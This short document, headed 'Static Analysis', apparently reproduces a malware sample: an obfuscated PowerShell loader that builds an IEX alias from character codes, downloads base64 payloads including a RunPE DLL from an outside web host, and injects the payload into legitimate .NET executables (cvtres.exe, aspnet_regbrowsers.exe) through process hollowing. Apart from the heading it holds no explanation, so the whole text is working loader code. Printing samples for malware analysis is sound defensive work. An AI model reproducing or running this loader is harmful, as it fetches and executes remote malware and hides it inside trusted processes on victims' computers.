Static Analysis

$g78fgh00=[char]73 + [char]69 + [char]88

sal dwrg5t $g78fgh00

[byte[]]$conexaojamaica=[System.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('https://propagandaetrafego.com/julhovenom.txt'));

[Byte[]] $DLL =[System.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('https://propagandaetrafego.com/runpe.txt'));

$y='[System.Ap#####^*******!!!!!!!!!!!!!!!!*****************________________*********************<>>>>>>>>>>ain]'.replace('#####^*******!!!!!!!!!!!!!!!!*****************________________*********************<>>>>>>>>>>','pDom')|dwrg5t;$g55=$y.GetMethod("get_CurrentDomain")

$ewe0='$g55.In#####^*******!!!!!!!!!!!!!!!!*****************________________*********************<>>>>>>>>>>ke($null,$null)'.replace('#####^*******!!!!!!!!!!!!!!!!*****************________________*********************<>>>>>>>>>>','vo')| dwrg5t

$wwf5dd='$ewe0.Lo#####^*******!!!!!!!!!!!!!!!!*****************________________*********************<>>>>>>>>>>($DLL)'.Replace('#####^*******!!!!!!!!!!!!!!!!*****************________________*********************<>>>>>>>>>>','ad')

$wwf5dd| dwrg5t

[RunPE.RunPE]::Execute('C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe' ,$conexaojamaica)

[RunPE.RunPE]::Execute('C:\Windows\Microsoft.NET\Framework\v2.0.50727\aspnet_regbrowsers.exe' ,$conexaojamaica)